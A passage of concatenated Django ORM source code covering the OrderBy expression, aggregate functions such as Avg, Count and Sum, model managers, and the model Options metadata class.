            sql_params.extend(case_params)
        default_sql, default_params = compiler.compile(self.default)
        if not case_parts:
            return default_sql, default_params
        case_joiner = case_joiner or self.case_joiner
        template_params['cases'] = case_joiner.join(case_parts)
        template_params['default'] = default_sql
        sql_params.extend(default_params)
        template = template or template_params.get('template', self.template)
        sql = template % template_params
        if self._output_field_or_none is not None:
            sql = connection.ops.unification_cast_sql(self.output_field) % sql
        return sql, sql_params


class OrderBy(BaseExpression):
    template = '%(expression)s %(ordering)s'

    def __init__(self, expression, descending=False):
        self.descending = descending
        if not hasattr(expression, 'resolve_expression'):
            raise ValueError('expression must be an expression type')
        self.expression = expression

    def __repr__(self):
        return "{}({}, descending={})".format(
            self.__class__.__name__, self.expression, self.descending)

    def set_source_expressions(self, exprs):
        self.expression = exprs[0]

    def get_source_expressions(self):
        return [self.expression]

    def as_sql(self, compiler, connection, template=None, **extra_context):
        connection.ops.check_expression_support(self)
        expression_sql, params = compiler.compile(self.expression)
        placeholders = {
            'expression': expression_sql,
            'ordering': 'DESC' if self.descending else 'ASC',
        }
        placeholders.update(extra_context)
        template = template or self.template
        return (template % placeholders).rstrip(), params

    def get_group_by_cols(self):
        cols = []
        for source in self.get_source_expressions():
            cols.extend(source.get_group_by_cols())
        return cols

    def reverse_ordering(self):
        self.descending = not self.descending
        return self

    def asc(self):
        self.descending = False

    def desc(self):
        self.descending = True






"""
Classes to represent the definitions of aggregate functions.
"""
from django.core.exceptions import FieldError
from django.db.models.expressions import Func, Star
from django.db.models.fields import DecimalField, FloatField, IntegerField

__all__ = [
    'Aggregate', 'Avg', 'Count', 'Max', 'Min', 'StdDev', 'Sum', 'Variance',
]


class Aggregate(Func):
    contains_aggregate = True
    name = None

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        # Aggregates are not allowed in UPDATE queries, so ignore for_save
        c = super(Aggregate, self).resolve_expression(query, allow_joins, reuse, summarize)
        if not summarize:
            expressions = c.get_source_expressions()
            for index, expr in enumerate(expressions):
                if expr.contains_aggregate:
                    before_resolved = self.get_source_expressions()[index]
                    name = before_resolved.name if hasattr(before_resolved, 'name') else repr(before_resolved)
                    raise FieldError("Cannot compute %s('%s'): '%s' is an aggregate" % (c.name, name, name))
        return c

    @property
    def default_alias(self):
        expressions = self.get_source_expressions()
        if len(expressions) == 1 and hasattr(expressions[0], 'name'):
            return '%s__%s' % (expressions[0].name, self.name.lower())
        raise TypeError("Complex expressions require an alias")

    def get_group_by_cols(self):
        return []


class Avg(Aggregate):
    function = 'AVG'
    name = 'Avg'

    def _resolve_output_field(self):
        source_field = self.get_source_fields()[0]
        if isinstance(source_field, (IntegerField, DecimalField)):
            self._output_field = FloatField()
        super(Avg, self)._resolve_output_field()

    def as_oracle(self, compiler, connection):
        if self.output_field.get_internal_type() == 'DurationField':
            expression = self.get_source_expressions()[0]
            from django.db.backends.oracle.functions import IntervalToSeconds, SecondsToInterval
            return compiler.compile(
                SecondsToInterval(Avg(IntervalToSeconds(expression)))
            )
        return super(Avg, self).as_sql(compiler, connection)


class Count(Aggregate):
    function = 'COUNT'
    name = 'Count'
    template = '%(function)s(%(distinct)s%(expressions)s)'

    def __init__(self, expression, distinct=False, **extra):
        if expression == '*':
            expression = Star()
        super(Count, self).__init__(
            expression, distinct='DISTINCT ' if distinct else '', output_field=IntegerField(), **extra)

    def __repr__(self):
        return "{}({}, distinct={})".format(
            self.__class__.__name__,
            self.arg_joiner.join(str(arg) for arg in self.source_expressions),
            'False' if self.extra['distinct'] == '' else 'True',
        )

    def convert_value(self, value, expression, connection, context):
        if value is None:
            return 0
        return int(value)


class Max(Aggregate):
    function = 'MAX'
    name = 'Max'


class Min(Aggregate):
    function = 'MIN'
    name = 'Min'


class StdDev(Aggregate):
    name = 'StdDev'

    def __init__(self, expression, sample=False, **extra):
        self.function = 'STDDEV_SAMP' if sample else 'STDDEV_POP'
        super(StdDev, self).__init__(expression, output_field=FloatField(), **extra)

    def __repr__(self):
        return "{}({}, sample={})".format(
            self.__class__.__name__,
            self.arg_joiner.join(str(arg) for arg in self.source_expressions),
            'False' if self.function == 'STDDEV_POP' else 'True',
        )

    def convert_value(self, value, expression, connection, context):
        if value is None:
            return value
        return float(value)


class Sum(Aggregate):
    function = 'SUM'
    name = 'Sum'

    def as_oracle(self, compiler, connection):
        if self.output_field.get_internal_type() == 'DurationField':
            expression = self.get_source_expressions()[0]
            from django.db.backends.oracle.functions import IntervalToSeconds, SecondsToInterval
            return compiler.compile(
                SecondsToInterval(Sum(IntervalToSeconds(expression)))
            )
        return super(Sum, self).as_sql(compiler, connection)


class Variance(Aggregate):
    name = 'Variance'

    def __init__(self, expression, sample=False, **extra):
        self.function = 'VAR_SAMP' if sample else 'VAR_POP'
        super(Variance, self).__init__(expression, output_field=FloatField(), **extra)

    def __repr__(self):
        return "{}({}, sample={})".format(
            self.__class__.__name__,
            self.arg_joiner.join(str(arg) for arg in self.source_expressions),
            'False' if self.function == 'VAR_POP' else 'True',
        )

    def convert_value(self, value, expression, connection, context):
        if value is None:
            return value
        return float(value)






import copy
import inspect
from importlib import import_module

from django.db import router
from django.db.models.query import QuerySet
from django.utils import six
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class BaseManager(object):
    # Tracks each time a Manager instance is created. Used to retain order.
    creation_counter = 0

    # Set to True for the 'objects' managers that are automatically created.
    auto_created = False

    #: If set to True the manager will be serialized into migrations and will
    #: thus be available in e.g. RunPython operations
    use_in_migrations = False

    def __new__(cls, *args, **kwargs):
        # We capture the arguments to make returning them trivial
        obj = super(BaseManager, cls).__new__(cls)
        obj._constructor_args = (args, kwargs)
        return obj

    def __init__(self):
        super(BaseManager, self).__init__()
        self._set_creation_counter()
        self.model = None
        self.name = None
        self._db = None
        self._hints = {}

    def __str__(self):
        """ Return "app_label.model_label.manager_name". """
        return '%s.%s' % (self.model._meta.label, self.name)

    def deconstruct(self):
        """
        Returns a 5-tuple of the form (as_manager (True), manager_class,
        queryset_class, args, kwargs).

        Raises a ValueError if the manager is dynamically generated.
        """
        qs_class = self._queryset_class
        if getattr(self, '_built_with_as_manager', False):
            # using MyQuerySet.as_manager()
            return (
                True,  # as_manager
                None,  # manager_class
                '%s.%s' % (qs_class.__module__, qs_class.__name__),  # qs_class
                None,  # args
                None,  # kwargs
            )
        else:
            module_name = self.__module__
            name = self.__class__.__name__
            # Make sure it's actually there and not an inner class
            module = import_module(module_name)
            if not hasattr(module, name):
                raise ValueError(
                    "Could not find manager %s in %s.\n"
                    "Please note that you need to inherit from managers you "
                    "dynamically generated with 'from_queryset()'."
                    % (name, module_name)
                )
            return (
                False,  # as_manager
                '%s.%s' % (module_name, name),  # manager_class
                None,  # qs_class
                self._constructor_args[0],  # args
                self._constructor_args[1],  # kwargs
            )

    def check(self, **kwargs):
        return []

    @classmethod
    def _get_queryset_methods(cls, queryset_class):
        def create_method(name, method):
            def manager_method(self, *args, **kwargs):
                return getattr(self.get_queryset(), name)(*args, **kwargs)
            manager_method.__name__ = method.__name__
            manager_method.__doc__ = method.__doc__
            return manager_method

        new_methods = {}
        # Refs http://bugs.python.org/issue1785.
        predicate = inspect.isfunction if six.PY3 else inspect.ismethod
        for name, method in inspect.getmembers(queryset_class, predicate=predicate):
            # Only copy missing methods.
            if hasattr(cls, name):
                continue
            # Only copy public methods or methods with the attribute `queryset_only=False`.
            queryset_only = getattr(method, 'queryset_only', None)
            if queryset_only or (queryset_only is None and name.startswith('_')):
                continue
            # Copy the method onto the manager.
            new_methods[name] = create_method(name, method)
        return new_methods

    @classmethod
    def from_queryset(cls, queryset_class, class_name=None):
        if class_name is None:
            class_name = '%sFrom%s' % (cls.__name__, queryset_class.__name__)
        class_dict = {
            '_queryset_class': queryset_class,
        }
        class_dict.update(cls._get_queryset_methods(queryset_class))
        return type(class_name, (cls,), class_dict)

    def contribute_to_class(self, model, name):
        if not self.name:
            self.name = name
        self.model = model

        setattr(model, name, ManagerDescriptor(self))

        model._meta.add_manager(self)

    def _set_creation_counter(self):
        """
        Sets the creation counter value for this instance and increments the
        class-level copy.
        """
        self.creation_counter = BaseManager.creation_counter
        BaseManager.creation_counter += 1

    def db_manager(self, using=None, hints=None):
        obj = copy.copy(self)
        obj._db = using or self._db
        obj._hints = hints or self._hints
        return obj

    @property
    def db(self):
        return self._db or router.db_for_read(self.model, **self._hints)

    #######################
    # PROXIES TO QUERYSET #
    #######################

    def get_queryset(self):
        """
        Returns a new QuerySet object.  Subclasses can override this method to
        easily customize the behavior of the Manager.
        """
        return self._queryset_class(model=self.model, using=self._db, hints=self._hints)

    def all(self):
        # We can't proxy this method through the `QuerySet` like we do for the
        # rest of the `QuerySet` methods. This is because `QuerySet.all()`
        # works by creating a "copy" of the current queryset and in making said
        # copy, all the cached `prefetch_related` lookups are lost. See the
        # implementation of `RelatedManager.get_queryset()` for a better
        # understanding of how this comes into play.
        return self.get_queryset()

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            self._constructor_args == other._constructor_args
        )

    def __ne__(self, other):
        return not (self == other)

    def __hash__(self):
        return id(self)


class Manager(BaseManager.from_queryset(QuerySet)):
    pass


class ManagerDescriptor(object):

    def __init__(self, manager):
        self.manager = manager

    def __get__(self, instance, cls=None):
        if instance is not None:
            raise AttributeError("Manager isn't accessible via %s instances" % cls.__name__)

        if cls._meta.abstract:
            raise AttributeError("Manager isn't available; %s is abstract" % (
                cls._meta.object_name,
            ))

        if cls._meta.swapped:
            raise AttributeError(
                "Manager isn't available; '%s.%s' has been swapped for '%s'" % (
                    cls._meta.app_label,
                    cls._meta.object_name,
                    cls._meta.swapped,
                )
            )

        return cls._meta.managers_map[self.manager.name]


class EmptyManager(Manager):
    def __init__(self, model):
        super(EmptyManager, self).__init__()
        self.model = model

    def get_queryset(self):
        return super(EmptyManager, self).get_queryset().none()






from django.utils import six


def make_model_tuple(model):
    """
    Takes a model or a string of the form "app_label.ModelName" and returns a
    corresponding ("app_label", "modelname") tuple. If a tuple is passed in,
    it's assumed to be a valid model tuple already and returned unchanged.
    """
    try:
        if isinstance(model, tuple):
            model_tuple = model
        elif isinstance(model, six.string_types):
            app_label, model_name = model.split(".")
            model_tuple = app_label, model_name.lower()
        else:
            model_tuple = model._meta.app_label, model._meta.model_name
        assert len(model_tuple) == 2
        return model_tuple
    except (ValueError, AssertionError):
        raise ValueError(
            "Invalid model reference '%s'. String model references "
            "must be of the form 'app_label.ModelName'." % model
        )






from __future__ import unicode_literals

import copy
import warnings
from bisect import bisect
from collections import OrderedDict, defaultdict
from itertools import chain

from django.apps import apps
from django.conf import settings
from django.core.exceptions import FieldDoesNotExist
from django.db import connections
from django.db.models import Manager
from django.db.models.fields import AutoField
from django.db.models.fields.proxy import OrderWrt
from django.utils import six
from django.utils.datastructures import ImmutableList, OrderedSet
from django.utils.deprecation import (
    RemovedInDjango20Warning, warn_about_renamed_method,
)
from django.utils.encoding import (
    force_text, python_2_unicode_compatible, smart_text,
)
from django.utils.functional import cached_property
from django.utils.text import camel_case_to_spaces
from django.utils.translation import override, string_concat

NOT_PROVIDED = object()

PROXY_PARENTS = object()

EMPTY_RELATION_TREE = tuple()

IMMUTABLE_WARNING = (
    "The return type of '%s' should never be mutated. If you want to manipulate this list "
    "for your own use, make a copy first."
)

DEFAULT_NAMES = (
    'verbose_name', 'verbose_name_plural', 'db_table', 'ordering',
    'unique_together', 'permissions', 'get_latest_by', 'order_with_respect_to',
    'app_label', 'db_tablespace', 'abstract', 'managed', 'proxy', 'swappable',
    'auto_created', 'index_together', 'apps', 'default_permissions',
    'select_on_save', 'default_related_name', 'required_db_features',
    'required_db_vendor', 'base_manager_name', 'default_manager_name',
    'manager_inheritance_from_future', 'indexes',
)


def normalize_together(option_together):
    """
    option_together can be either a tuple of tuples, or a single
    tuple of two strings. Normalize it to a tuple of tuples, so that
    calling code can uniformly expect that.
    """
    try:
        if not option_together:
            return ()
        if not isinstance(option_together, (tuple, list)):
            raise TypeError
        first_element = next(iter(option_together))
        if not isinstance(first_element, (tuple, list)):
            option_together = (option_together,)
        # Normalize everything to tuples
        return tuple(tuple(ot) for ot in option_together)
    except TypeError:
        # If the value of option_together isn't valid, return it
        # verbatim; this will be picked up by the check framework later.
        return option_together


def make_immutable_fields_list(name, data):
    return ImmutableList(data, warning=IMMUTABLE_WARNING % name)


@python_2_unicode_compatible
class Options(object):
    FORWARD_PROPERTIES = {
        'fields', 'many_to_many', 'concrete_fields', 'local_concrete_fields',
        '_forward_fields_map', 'managers', 'managers_map', 'base_manager',
        'default_manager',
    }
    REVERSE_PROPERTIES = {'related_objects', 'fields_map', '_relation_tree'}

    default_apps = apps

    def __init__(self, meta, app_label=None):
        self._get_fields_cache = {}
        self.local_fields = []
        self.local_many_to_many = []
        self.private_fields = []
        self.manager_inheritance_from_future = False
        self.local_managers = []
        self.base_manager_name = None
        self.default_manager_name = None
        self.model_name = None
        self.verbose_name = None
        self.verbose_name_plural = None
        self.db_table = ''
        self.ordering = []
        self._ordering_clash = False
        self.indexes = []
        self.unique_together = []
        self.index_together = []
        self.select_on_save = False
        self.default_permissions = ('add', 'change', 'delete')
        self.permissions = []
        self.object_name = None
        self.app_label = app_label
        self.get_latest_by = None
        self.order_with_respect_to = None
        self.db_tablespace = settings.DEFAULT_TABLESPACE
        self.required_db_features = []
        self.required_db_vendor = None
        self.meta = meta
        self.pk = None
        self.has_auto_field = False
        self.auto_field = None
        self.abstract = False
        self.managed = True
        self.proxy = False
        # For any class that is a proxy (including automatically created
        # classes for deferred object loading), proxy_for_model tells us
        # which class this model is proxying. Note that proxy_for_model
        # can create a chain of proxy models. For non-proxy models, the
        # variable is always None.
        self.proxy_for_model = None
        # For any non-abstract class, the concrete class is the model
        # in the end of the proxy_for_model chain. In particular, for
        # concrete models, the concrete_model is always the class itself.
        self.concrete_model = None
        self.swappable = None
        self.parents = OrderedDict()
        self.auto_created = False

        # List of all lookups defined in ForeignKey 'limit_choices_to' options
        # from *other* models. Needed for some admin checks. Internal use only.
        self.related_fkey_lookups = []

        # A custom app registry to use, if you're making a separate model set.
        self.apps = self.default_apps

        self.default_related_name = None

    @property
    def label(self):
        return '%s.%s' % (self.app_label, self.object_name)

    @property
    def label_lower(self):
        return '%s.%s' % (self.app_label, self.model_name)

    @property
    def app_config(self):
        # Don't go through get_app_config to avoid triggering imports.
        return self.apps.app_configs.get(self.app_label)

    @property
    def installed(self):
        return self.app_config is not None

    def contribute_to_class(self, cls, name):
        from django.db import connection
        from django.db.backends.utils import truncate_name

        cls._meta = self
        self.model = cls
        # First, construct the default values for these options.
        self.object_name = cls.__name__
        self.model_name = self.object_name.lower()
        self.verbose_name = camel_case_to_spaces(self.object_name)

        # Store the original user-defined values for each option,
        # for use when serializing the model definition
        self.original_attrs = {}

        # Next, apply any overridden values from 'class Meta'.
        if self.meta:
            meta_attrs = self.meta.__dict__.copy()
            for name in self.meta.__dict__:
                # Ignore any private attributes that Django doesn't care about.
                # NOTE: We can't modify a dictionary's contents while looping
                # over it, so we loop over the *original* dictionary instead.
                if name.startswith('_'):
                    del meta_attrs[name]
            for attr_name in DEFAULT_NAMES:
                if attr_name in meta_attrs:
                    setattr(self, attr_name, meta_attrs.pop(attr_name))
                    self.original_attrs[attr_name] = getattr(self, attr_name)
                elif hasattr(self.meta, attr_name):
                    setattr(self, attr_name, getattr(self.meta, attr_name))
                    self.original_attrs[attr_name] = getattr(self, attr_name)

            self.unique_together = normalize_together(self.unique_together)
            self.index_together = normalize_together(self.index_together)

            # verbose_name_plural is a special case because it uses a 's'
            # by default.
            if self.verbose_name_plural is None:
                self.verbose_name_plural = string_concat(self.verbose_name, 's')

            # order_with_respect_and ordering are mutually exclusive.
            self._ordering_clash = bool(self.ordering and self.order_with_respect_to)

            # Any leftover attributes must be invalid.
            if meta_attrs != {}:
                raise TypeError("'class Meta' got invalid attribute(s): %s" % ','.join(meta_attrs.keys()))
        else:
            self.verbose_name_plural = string_concat(self.verbose_name, 's')
        del self.meta

        # If the db_table wasn't provided, use the app_label + model_name.
        if not self.db_table:
            self.db_table = "%s_%s" % (self.app_label, self.model_name)
            self.db_table = truncate_name(self.db_table, connection.ops.max_name_length())

    def _prepare(self, model):
        if self.order_with_respect_to:
            # The app registry will not be ready at this point, so we cannot
            # use get_field().
            query = self.order_with_respect_to
            try:
                self.order_with_respect_to = next(
                    f for f in self._get_fields(reverse=False)
                    if f.name == query or f.attname == query
                )
            except StopIteration:
                raise FieldDoesNotExist('%s has no field named %r' % (self.object_name, query))

            self.ordering = ('_order',)
            if not any(isinstance(field, OrderWrt) for field in model._meta.local_fields):
                model.add_to_class('_order', OrderWrt())
        else:
            self.order_with_respect_to = None

        if self.pk is None:
            if self.parents:
                # Promote the first parent link in lieu of adding yet another
                # field.
                field = next(six.itervalues(self.parents))
                # Look for a local field with the same name as the
                # first parent link. If a local field has already been
                # created, use it instead of promoting the parent
                already_created = [fld for fld in self.local_fields if fld.name == field.name]
                if already_created:
                    field = already_created[0]
                field.primary_key = True
                self.setup_pk(field)
                if not field.remote_field.parent_link:
                    warnings.warn(
                        'Add parent_link=True to %s as an implicit link is '
                        'deprecated.' % field, RemovedInDjango20Warning
                    )
            else:
                auto = AutoField(verbose_name='ID', primary_key=True, auto_created=True)
                model.add_to_class('id', auto)

    def add_manager(self, manager):
        self.local_managers.append(manager)
        self._expire_cache()

    def add_field(self, field, private=False, virtual=NOT_PROVIDED):
        if virtual is not NOT_PROVIDED:
            warnings.warn(
                "The `virtual` argument of Options.add_field() has been renamed to `private`.",
                RemovedInDjango20Warning, stacklevel=2
            )
            private = virtual
        # Insert the given field in the order in which it was created, using
        # the "creation_counter" attribute of the field.
        # Move many-to-many related fields from self.fields into
        # self.many_to_many.
        if private:
            self.private_fields.append(field)
        elif field.is_relation and field.many_to_many:
            self.local_many_to_many.insert(bisect(self.local_many_to_many, field), field)
        else:
            self.local_fields.insert(bisect(self.local_fields, field), field)
            self.setup_pk(field)

        # If the field being added is a relation to another known field,
        # expire the cache on this field and the forward cache on the field
        # being referenced, because there will be new relationships in the
        # cache. Otherwise, expire the cache of references *to* this field.
        # The mechanism for getting at the related model is slightly odd -
        # ideally, we'd just ask for field.related_model. However, related_model
        # is a cached property, and all the models haven't been loaded yet, so
        # we need to make sure we don't cache a string reference.
        if field.is_relation and hasattr(field.remote_field, 'model') and field.remote_field.model:
            try:
                field.remote_field.model._meta._expire_cache(forward=False)
            except AttributeError:
                pass
            self._expire_cache()
        else:
            self._expire_cache(reverse=False)

    def setup_pk(self, field):
        if not self.pk and field.primary_key:
            self.pk = field
            field.serialize = False

    def setup_proxy(self, target):
        """
        Does the internal setup so that the current model is a proxy for
        "target".
        """
        self.pk = target._meta.pk
        self.proxy_for_model = target
        self.db_table = target._meta.db_table

    def __repr__(self):
        return '<Options for %s>' % self.object_name

    def __str__(self):
        return "%s.%s" % (smart_text(self.app_label), smart_text(self.model_name))

    def can_migrate(self, connection):
        """
        Return True if the model can/should be migrated on the `connection`.
        `connection` can be either a real connection or a connection alias.
        """
        if self.proxy or self.swapped or not self.managed:
            return False
        if isinstance(connection, six.string_types):
            connection = connections[connection]
        if self.required_db_vendor:
            return self.required_db_vendor == connection.vendor
        if self.required_db_features:
            return all(getattr(connection.features, feat, False)
                       for feat in self.required_db_features)
        return True

    @property
    def verbose_name_raw(self):
        """
        There are a few places where the untranslated verbose name is needed
        (so that we get the same value regardless of currently active
        locale).
        """
        with override(None):
            return force_text(self.verbose_name)

    @property
    def swapped(self):
        """
        Has this model been swapped out for another? If so, return the model
        name of the replacement; otherwise, return None.

        For historical reasons, model name lookups using get_model() are
        case insensitive, so we make sure we are case insensitive here.
        """
        if self.swappable:
            swapped_for = getattr(settings, self.swappable, None)
            if swapped_for:
                try:
                    swapped_label, swapped_object = swapped_for.split('.')
                except ValueError:
                    # setting not in the format app_label.model_name
                    # raising ImproperlyConfigured here causes problems with
                    # test cleanup code - instead it is raised in get_user_model
                    # or as part of validation.
                    return swapped_for

                if '%s.%s' % (swapped_label, swapped_object.lower()) != self.label_lower:
                    return swapped_for
        return None

    @cached_property
    def managers(self):
        managers = []
        seen_managers = set()
        bases = (b for b in self.model.mro() if hasattr(b, '_meta'))
        for depth, base in enumerate(bases):
            for manager in base._meta.local_managers:
                if manager.name in seen_managers:
                    continue

                manager = copy.copy(manager)
                manager.model = self.model
                seen_managers.add(manager.name)
                managers.append((depth, manager.creation_counter, manager))

                # Used for deprecation of legacy manager inheritance,
                # remove afterwards. (RemovedInDjango20Warning)
                manager._originating_model = base

        return make_immutable_fields_list(
            "managers",
            (m[2] for m in sorted(managers)),
        )

    @cached_property
    def managers_map(self):
        return {manager.name: manager for manager in self.managers}

    @cached_property
    def base_manager(self):
        base_manager_name = self.base_manager_name
        if not base_manager_name:
            # Get the first parent's base_manager_name if there's one.
            for parent in self.model.mro()[1:]:
                if hasattr(parent, '_meta'):
                    if parent._base_manager.name != '_base_manager':
                        base_manager_name = parent._base_manager.name
                    break

        if base_manager_name:
            try:
                return self.managers_map[base_manager_name]
            except KeyError:
                raise ValueError(
                    "%s has no manager named %r" % (
                        self.object_name,
                        base_manager_name,
                    )
                )

        # Deprecation shim for `use_for_related_fields`.
        for i, base_manager_class in enumerate(self.default_manager.__class__.mro()):
            if getattr(base_manager_class, 'use_for_related_fields', False):
                if not getattr(base_manager_class, 'silence_use_for_related_fields_deprecation', False):
                    warnings.warn(
                        "use_for_related_fields is deprecated, instead "
                        "set Meta.base_manager_name on '{}'.".format(self.model._meta.label),
                        RemovedInDjango20Warning, 2
                    )

                if i == 0:
                    manager = self.default_manager
                else:
                    manager = base_manager_class()
                    manager.name = '_base_manager'
                    manager.model = self.model

                return manager

        manager = Manager()
        manager.name = '_base_manager'
        manager.model = self.model
        manager.auto_created = True
        return manager

    @cached_property
    def default_manager(self):
        default_manager_name = self.default_manager_name
        if not default_manager_name and not self.local_managers:
            # Get the first parent's default_manager_name if there's one.
            for parent in self.model.mro()[1:]:
                if hasattr(parent, '_meta'):
                    default_manager_name = parent._meta.default_manager_name
                    break

        if default_manager_name:
            try:
                return self.managers_map[default_manager_name]
            except KeyError:
                raise ValueError(
                    "%s has no manager named %r" % (
                        self.object_name,
                        default_manager_name,
                    )
                )

        if self.managers:
            return self.managers[0]

    @cached_property
    def fields(self):
        """
        Returns a list of all forward fields on the model and its parents,
        excluding ManyToManyFields.

        Private API intended only to be used by Django itself; get_fields()
        combined with filtering of field properties is the public API for
        obtaining this field list.
        """
        # For legacy reasons, the fields property should only contain forward
        # fields that are not private or with a m2m cardinality. Therefore we
        # pass these three filters as filters to the generator.
        # The third lambda is a longwinded way of checking f.related_model - we don't
        # use that property directly because related_model is a cached property,
        # and all the models may not have been loaded yet; we don't want to cache
        # the string reference to the related_model.
        def is_not_an_m2m_field(f):
            return not (f.is_relation and f.many_to_many)

        def is_not_a_generic_relation(f):
            return not (f.is_relation and f.one_to_many)

        def is_not_a_generic_foreign_key(f):
            return not (
                f.is_relation and f.many_to_one and not (hasattr(f.remote_field, 'model') and f.remote_field.model)
            )

        return make_immutable_fields_list(
            "fields",
            (f for f in self._get_fields(reverse=False)
             if is_not_an_m2m_field(f) and is_not_a_generic_relation(f) and is_not_a_generic_foreign_key(f))
        )

    @cached_property
    def concrete_fields(self):
        """
        Returns a list of all concrete fields on the model and its parents.

        Private API intended only to be used by Django itself; get_fields()
        combined with filtering of field properties is the public API for
        obtaining this field list.
        """
        return make_immutable_fields_list(
            "concrete_fields", (f for f in self.fields if f.concrete)
        )

    @property
    @warn_about_renamed_method(
        'Options', 'virtual_fields', 'private_fields',
        RemovedInDjango20Warning
    )
    def virtual_fields(self):
        return self.private_fields

    @cached_property
    def local_concrete_fields(self):
        """
        Returns a list of all concrete fields on the model.

        Private API intended only to be used by Django itself; get_fields()
        combined with filtering of field properties is the public API for
        obtaining this field list.
        """
        return make_immutable_fields_list(
            "local_concrete_fields", (f for f in self.local_fields if f.concrete)
        )

    @cached_property
    def many_to_many(self):
        """
        Returns a list of all many to many fields on the model and its parents.

        Private API intended only to be used by Django itself; get_fields()
        combined with filtering of field properties is the public API for
        obtaining this list.
        """
        return make_immutable_fields_list(
            "many_to_many",
            (f for f in self._get_fields(reverse=False) if f.is_relation and f.many_to_many)
        )

    @cached_property
    def related_objects(self):
        """
        Returns all related objects pointing to the current model. The related
        objects can come from a one-to-one, one-to-many, or many-to-many field
        relation type.

        Private API intended only to be used by Django itself; get_fields()
        combined with filtering of field properties is the public API for
        obtaining this field list.
        """
        all_related_fields = self._get_fields(forward=False, reverse=True, include_hidden=True)
        return make_immutable_fields_list(
            "related_objects",
            (obj for obj in all_related_fields if not obj.hidden or obj.field.many_to_many)
        )

    @cached_property
    def _forward_fields_map(self):
        res = {}
        fields = self._get_fields(reverse=False)
        for field in fields:
            res[field.name] = field
            # Due to the way Django's internals work, get_field() should also
            # be able to fetch a field by attname. In the case of a concrete
            # field with relation, includes the *_id name too
            try:
                res[field.attname] = field
            except AttributeError:
                pass
        return res

    @cached_property
    def fields_map(self):
        res = {}
        fields = self._get_fields(forward=False, include_hidden=True)
        for field in fields:
            res[field.name] = field
            # Due to the way Django's internals work, get_field() should also
            # be able to fetch a field by attname. In the case of a concrete
            # field with relation, includes the *_id name too
            try:
                res[field.attname] = field
            except AttributeError:
                pass
        return res

    def get_field(self, field_name):
        """
        Return a field instance given the name of a forward or reverse field.
        """
        try:
            # In order to avoid premature loading of the relation tree
            # (expensive) we prefer checking if the field is a forward field.
            return self._forward_fields_map[field_name]
        except KeyError:
            # If the app registry is not ready, reverse fields are
            # unavailable, therefore we throw a FieldDoesNotExist exception.
            if not self.apps.models_ready:
                raise FieldDoesNotExist(
                    "%s has no field named %r. The app cache isn't ready yet, "
                    "so if this is an auto-created related field, it won't "
                    "be available yet." % (self.object_name, field_name)
                )

        try:
            # Retrieve field instance by name from cached or just-computed
            # field map.
            return self.fields_map[field_name]
        except KeyError:
            raise FieldDoesNotExist('%s has no field named %r' % (self.object_name, field_name))

    def get_base_chain(self, model):
        """
        Return a list of parent classes leading to `model` (ordered from
        closest to most distant ancestor). This has to handle the case where
        `model` is a grandparent or even more distant relation.
        """
        if not self.parents:
            return []
        if model in self.parents:
            return [model]
        for parent in self.parents:
            res = parent._meta.get_base_chain(model)
            if res:
                res.insert(0, parent)
                return res
        return []

    def get_parent_list(self):
        """
        Returns all the ancestors of this model as a list ordered by MRO.
        Useful for determining if something is an ancestor, regardless of lineage.
        """
        result = OrderedSet(self.parents)
        for parent in self.parents:
            for ancestor in parent._meta.get_parent_list():
                result.add(ancestor)
        return list(result)

    def get_ancestor_link(self, ancestor):
        """
        Returns the field on the current model which points to the given
        "ancestor". This is possible an indirect link (a pointer to a parent
        model, which points, eventually, to the ancestor). Used when
        constructing table joins for model inheritance.

        Returns None if the model isn't an ancestor of this one.
        """
        if ancestor in self.parents:
            return self.parents[ancestor]
        for parent in self.parents:
            # Tries to get a link field from the immediate parent
            parent_link = parent._meta.get_ancestor_link(ancestor)
            if parent_link:
                # In case of a proxied model, the first link
                # of the chain to the ancestor is that parent
                # links
                return self.parents[parent] or parent_link

    def _populate_directed_relation_graph(self):
        """
        This method is used by each model to find its reverse objects. As this
        method is very expensive and is accessed frequently (it looks up every
        field in a model, in every app), it is computed on first access and then
        is set as a property on every model.
        """
        related_objects_graph = defaultdict(list)

        all_models = self.apps.get_models(include_auto_created=True)
        for model in all_models:
            opts = model._meta
            # Abstract model's fields are copied to child models, hence we will
            # see the fields from the child models.
            if opts.abstract:
                continue
            fields_with_relations = (
                f for f in opts._get_fields(reverse=False, include_parents=False)
                if f.is_relation and f.related_model is not None
            )
            for f in fields_with_relations:
                if not isinstance(f.remote_field.model, six.string_types):
                    related_objects_graph[f.remote_field.model._meta.concrete_model._meta].append(f)

        for model in all_models:
            # Set the relation_tree using the internal __dict__. In this way
            # we avoid calling the cached property. In attribute lookup,
            # __dict__ takes precedence over a data descriptor (such as
            # @cached_property). This means that the _meta._relation_tree is
            # only called if related_objects is not in __dict__.
            related_objects = related_objects_graph[model._meta.concrete_model._meta]
            model._meta.__dict__['_relation_tree'] = related_objects
        # It seems it is possible that self is not in all_models, so guard
        # against that with default for get().
        return self.__dict__.get('_relation_tree', EMPTY_RELATION_TREE)

    @cached_property
    def _relation_tree(self):
        return self._populate_directed_relation_graph()

    def _expire_cache(self, forward=True, reverse=True):
        # This method is usually called by apps.cache_clear(), when the
        # registry is finalized, or when a new field is added.
        if forward:
            for cache_key in self.FORWARD_PROPERTIES:
                if cache_key in self.__dict__:
                    delattr(self, cache_key)
        if reverse and not self.abstract:
            for cache_key in self.REVERSE_PROPERTIES:
                if cache_key in self.__dict__:
                    delattr(self, cache_key)
        self._get_fields_cache = {}

    def get_fields(self, include_parents=True, include_hidden=False):
        """
        Returns a list of fields associated to the model. By default, includes
        forward and reverse fields, fields derived from inheritance, but not
        hidden fields. The returned fields can be changed using the parameters:

        - include_parents: include fields derived from inheritance
        - include_hidden:  include fields that have a related_name that
                           starts with a "+"
        """
        if include_parents is False:
            include_parents = PROXY_PARENTS
        return self._get_fields(include_parents=include_parents, include_hidden=include_hidden)

    def _get_fields(self, forward=True, reverse=True, include_parents=True, include_hidden=False,
                    seen_models=None):
        """
        Internal helper function to return fields of the model.
        * If forward=True, then fields defined on this model are returned.
        * If reverse=True, then relations pointing to this model are returned.
        * If include_hidden=True, then fields with is_hidden=True are returned.
        * The include_parents argument toggles if fields from parent models
          should be included. It has three values: True, False, and
          PROXY_PARENTS. When set to PROXY_PARENTS, the call will return all
          fields defined for the current model or any of its parents in the
          parent chain to the model's concrete model.
        """
        if include_parents not in (True, False, PROXY_PARENTS):
